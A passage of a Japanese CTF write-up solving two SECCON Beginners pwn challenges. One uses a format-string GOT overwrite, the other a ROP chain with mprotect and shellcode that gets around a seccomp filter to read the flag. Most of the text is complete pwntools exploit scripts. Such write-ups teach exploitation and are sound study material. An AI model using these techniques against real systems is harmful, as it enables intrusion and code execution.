io.sendlineafter(b'input:', b'A' * 18 + p64(0x0000000000401186))
io.interactive()
```

## pure-and-easy
```
author:n01e0
easy

nc pure-and-easy.beginners.seccon.games 9000

pure-and-easy.tar.gz 1318c46e8f8908a7b2ec3204b4a30205e05ea3b2
```
セキュリティ機構
```
└─< checksec --file=chall                  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   46) Symbols       No    0               3               chall
```

書式文字列攻撃ができるので，```exit``` 関数の GOT を ```win``` 関数に書き換える．
```
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 9
[0x404000] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */
[0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401046 (__stack_chk_fail@plt+6) ◂— push 1
[0x404010] printf@GLIBC_2.2.5 -> 0x401056 (printf@plt+6) ◂— push 2
[0x404018] alarm@GLIBC_2.2.5 -> 0x7ffff7cea540 (alarm) ◂— endbr64 
[0x404020] read@GLIBC_2.2.5 -> 0x401076 (read@plt+6) ◂— push 4
[0x404028] fgets@GLIBC_2.2.5 -> 0x401086 (fgets@plt+6) ◂— push 5
[0x404030] setvbuf@GLIBC_2.2.5 -> 0x7ffff7c815f0 (setvbuf) ◂— endbr64 
[0x404038] fopen@GLIBC_2.2.5 -> 0x4010a6 (fopen@plt+6) ◂— push 7
[0x404040] exit@GLIBC_2.2.5 -> 0x4010b6 (exit@plt+6) ◂— push 8
```
```
└─< nm chall | grep win     
0000000000401341 T win
```

以下のように ```$hn``` で 2 バイトずつ書き込もうとするとローカルではうまく行くがサーバでは失敗する (出力する文字が長すぎて途中で打ち切られる？)
```py
from pwn import *

binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()

gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

def calc_hn(objective_value, sum_bytes):
    r = objective_value - sum_bytes
    while r < 0:
        r += 0x10000
    return r, r + sum_bytes

addr_got_exit = 0x404040
addr_win = 0x0000000000401341

offset = 10

payload = b''

payload_bytes, sum_bytes = calc_hn((addr_win) & 0xffff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hn'.encode()

payload_bytes, sum_bytes = calc_hn((addr_win >> 16) & 0xffff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hn'.encode()

payload += b' ' * (32 - len(payload))

payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 2)

sla(b'> ', payload)
print(io.recvall())
```

No PIE なので，```win``` 関数のアドレスは 3 バイトで，```exit``` 関数も呼ばれていないので ```exit``` 関数の GOT も上位 5 バイトは 0 になっているので，3 バイトの書き換えのみで十分なので以下のスクリプトでいける．
```py
from pwn import *

binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()

gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

def calc_hhn(objective_value, sum_bytes):
    r = objective_value - sum_bytes
    while r < 0:
        r += 0x100
    return r, r + sum_bytes

addr_got_exit = 0x404040
addr_win = 0x0000000000401341

offset = 11

payload = b''

payload_bytes, sum_bytes = calc_hn((addr_win) & 0xff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hhn'.encode()

payload_bytes, sum_bytes = calc_hhn((addr_win >> 8) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hhn'.encode()

payload_bytes, sum_bytes = calc_hhn((addr_win >> 16) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 2}$hhn'.encode()

payload += b' ' * (40 - len(payload))

payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 1)
payload += p64(addr_got_exit + 2)

sla(b'> ', payload)
print(io.recvall().decode())
```

## gachi-rop
```
author:Satoki
medium

そろそろOne Gadgetにも飽きてきた？ガチROPの世界へようこそ！

nc gachi-rop.beginners.seccon.games 4567

gachi-rop.tar.gz c8cb163daca67761d36d9410b6eb2d8bfa961c66
```

セキュリティ機構
```
└─< spwn                              
[*] Binary: gachi-rop
[*] Libc:   libc.so.6
[!] No loader

[*] file gachi-rop
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec gachi-rop
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Libc version: 2.35
[!] There are some dangerous functions:
gets system
[*] cwe_checker gachi-rop (press Ctrl+C to stop)
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (0040127b) -> gets


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 on any debuginfod server.
[!] Failed to unstrip libc
[+] Downloading loader
[+] Extracting loader
[!] Possible seccomp found
[*] seccomp-tools dump ./debug_dir/gachi-rop < /dev/null
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
```

デコンパイルすると以下のようになっているので，BOF ができて canary もないので，ROP できる．
```c
undefined8 main(void)
{
    undefined8 local_18;
    undefined8 local_10;
    
    install_seccomp();
    printf("system@%p\n",system);
    local_18 = 0;
    local_10 = 0;
    printf("Name: ");
    gets((char *)&local_18);
    printf("Hello, gachi-rop-%s!!\n",&local_18);
    return 0;
}
```

ただし，seccomp があるので ```execve``` と ```execveat``` が使えないため，flag のファイルを開いて出力させるところまでする必要がある．

```system``` 関数のアドレスは教えてくれているので，libc のベースアドレスは判明している
```
└─< readelf -s -W ./libc.so.6 | grep " system@"             
    1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
```

全部 ROP で行くのはできる気がしない (rax に入っている戻り値を動かしたりするのが大変っぽい) ので，シェルコードを配置した領域を ```mprotect``` で実行可能にして実行する．

```py
from pwn import *

binary_name = 'gachi-rop'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'gachi-rop.beginners.seccon.games 4567'.split()

gdb_script = '''
b *0x00000000004012a1
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

addr_writable = 0x404000
offset_system = 0x0000000000050d70

addr_system = int(rl().decode().split('@')[-1], 16)
libc_base = addr_system - offset_system
loginfo(f'libc_base: {hex(libc_base)}')

rop_pop_rdi = libc_base + 0x000000000002a3e5
rop_pop_rsi = libc_base + 0x000000000002be51
rop_pop_rdx_r12 = libc_base + 0x000000000011f2e7

addr_read = libc_base + 0x00000000001147d0
addr_mprotect = libc_base + 0x000000000011eaa0

payload = b'A' * 0x10 + p64(1)

## read(0, addr_str_fname, 0x10) << "/flag.txt"
addr_str_fname = addr_writable + 0x100
payload += p64(rop_pop_rdx_r12)
payload += p64(0x10)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_str_fname)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)

## read(0, addr_shellcode, 0x400) << shellcode
addr_shellcode = addr_writable + 0x120
payload += p64(rop_pop_rdx_r12)
payload += p64(0x400)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_shellcode)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)

## mprotect(addr_shellcode, 0x400, 7)
payload += p64(rop_pop_rdx_r12)
payload += p64(7)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(0x400)
payload += p64(rop_pop_rdi)
payload += p64(addr_writable)
payload += p64(addr_mprotect)

## exec shellcode
payload += p64(addr_shellcode)

sla('Name: ', payload)

pause()
sl(b'/flag.txt\x00')
pause()
shell_code = asm(f'''
{shellcraft.linux.open('/app/ctf4b/', 0)}
{shellcraft.linux.getdents64('rax', 'rsp', 0x1000)}
{shellcraft.linux.write(1, 'rsp', 0x1000)}
''')
shell_code = asm(f'''
{shellcraft.linux.openat(0, '/app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt', 0)}
{shellcraft.linux.read('rax', 'rsp', 0x60)}
{shellcraft.linux.write(1, 'rsp', 0x60)}
''')
sl(shell_code)

interact()
```